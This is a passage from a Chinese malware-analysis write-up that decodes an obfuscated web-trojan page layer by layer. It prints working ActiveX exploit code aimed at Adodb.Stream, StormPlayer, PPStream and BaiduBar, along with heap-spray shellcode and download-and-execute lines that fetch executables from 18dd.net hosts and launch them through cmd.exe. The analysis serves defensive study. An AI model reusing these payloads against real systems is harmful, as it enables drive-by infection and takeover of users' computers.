1\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x
74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\
x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29
\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5
b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x
63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\
x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64
\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x7
2\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x
76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\
x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77
\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x6
3\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x
69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\
x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22
\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2
f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x
2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\
x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20
\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x4
2\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x
29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\
x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62
\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x7
7\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x
22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\
x7d")
</script>
```

加密者又用了另一种加密方法，也就是十六进制加密，对引号内的内容解密，得：

```
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
```

真相果然大白于天下。这个文件简直就是一个木马群，利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”，分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件，其危害性可见一斑。另外，这个文件还引用三个 js 文件和一个压缩包(bd.cab，解开后是 bd.exe)。

再按照说明的提示，对“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、“http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab”作处理。

```
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
```

依次下载这些文件，先看 1.js：

```
eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\
x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65
\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x6
5\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x
```

```
2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\
x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d
\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x7
3\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x
2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\
x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61
\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x6
3\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x
3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\
x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b
\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x6
3\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x
22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\
x7d")
```

又是一个十六进制加密，解开得：

```
var                                    url="http://down.18dd.net/bb/014.exe";try{var
xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\n
tuser.com";as.savetofile(path,2);as.close

();var
shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c
"+path,"","open",0)}catch(e){}
```

这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件，后面部分是对 ADODB 漏洞的继续利用。

那个 exe 回头再说，我们采用广度优先的遍历法，这次来看 b.js：

```
eval(function(p,a,c,k,e,d){e=function(c){return
c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return     p}('5     1=29("%10%10");5     26=20;5
14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75
%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%9
7%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%
3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%
54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+
"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%
177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%1
29"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11
%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5
4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141
140();139(7=0;7<169;7++)27[7]=2+14;5
8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slacks
pace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7
```

```
972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))
```

看起来也是相当的头晕，开始就来个函数，还有六个参数，还分别叫 p，a，c，k，e，d，唯恐别人不知道这是“packed”。其实这也是一种加密方法，它的解密方法在这个地址上可以找到：http://www.cha88.cn/safe/example-inline.php，不过这种加密方法在查 88 的首页上居然叫“老外写的 js 加解密工具”，着实让我汗了一下。解密之，有：

```
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%ufffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)
```

好家伙，开始动真格了，连“shellcode”这个“关键字”都出现了。要知道 shellcode 可是二进制的程序代码，如何分析它呢？

分析方法很多。首先一点，网上有把 shellcode 转换成 EXE 可执行文件的工具，比如前文中经常提到的查 88，地址是：http://www.cha88.cn/safe/shellcode_2_exe.php（友情提示：由

于实验室内使用了很好很强大的 FSG，所以如果没选中下面的“Bytes Only”，则返回的数据可能被拦截），这种方法比较麻烦。较为简单但并不完全可靠的方法如下：

一般来说，shellcode 都不长，而它要实现很多破坏，不可能“事必亲躬”。因此 shellcode 很可能就是下载器。对于一个下载器来说，必不可少的一项内容就是要下载的内容的 URL，我们不妨找找这加密的代码里有 URL 特征的字符串吧。

URL 的格式自然不必多说，先说说 escape 加密后的 shellcode 的形式。%u 是个标志，后面跟四个十六进制数，两两一组，组成一个 ASCII 码。然后呢，这两个 ASCII 码要将顺序交换，这样就行了。

我们不妨来找找 URL 中必然出现的斜线“/”吧，“/”的十六进制 ASCII 码是 2F，那么我们就在那段 shellcode 中找“/”，结果如下（注意，原文为防止被查杀，用了字符串拼接，这里把拼接去掉了，写成完整的一个字符串）：

```
%uf3e9%u0000%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
```

注意有底色的地方，共有 6 处。后四处比较可疑，因为两个 2f 比较密集。于是我们取从第三个 2f 开始到末尾的内容，访问 http://www.cha88.cn/safe/shellcode.php，解密结果是：

```
://down.18dd.net/bb/bf.exe
```

没有协议名的的地址看上去非常别扭，于是我们多取一些内容，继续解密，得到完整的结果：

```
http://down.18dd.net/bb/bf.exe
```

又是一个可执行文件，看来任务的重心快要由网马转移到 EXE 木马上了。这个可执行文件先放一放，接着看 pps.js。

下载并打开，内容如下：

```
eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\16
```

5\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\
63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\1
41\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\1
44\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\1
64\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\1
64\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\1
63\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63
\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\15
0\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165
\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71
\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\4
5\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\16
5\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165
\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\1
42\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\6
3\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12
\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65
\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\
42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\1
65\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\16
5\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\
70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62
\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\
63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\
145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\
45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\16
5\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165
\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\
66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\4
2\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\
45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42
\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\
63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\6
2\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\6
7\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\4
5\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63
\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\14
6\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60
\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\
45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45
\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\
144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\6
3\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\16
5\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\

```
15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\6
3\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40
\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\14
6\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\14
5\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165
\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143
\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71
\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165
\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\
143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64
\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143
\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\1
65\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\
66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\1
46\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\
65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\1
45\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\1
66\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\1
41\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\
163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\7
3\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\14
7\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\
143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\
143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156
\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\14
3\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\1
47\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\15
4\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\14
3\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\1
70\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154
\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\17
1\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\
75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\1
35\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\
12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\1
45\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40
\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\
170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\
162\15\12")
```

这回改八进制加密了，同样解开：

```
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
```

```
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
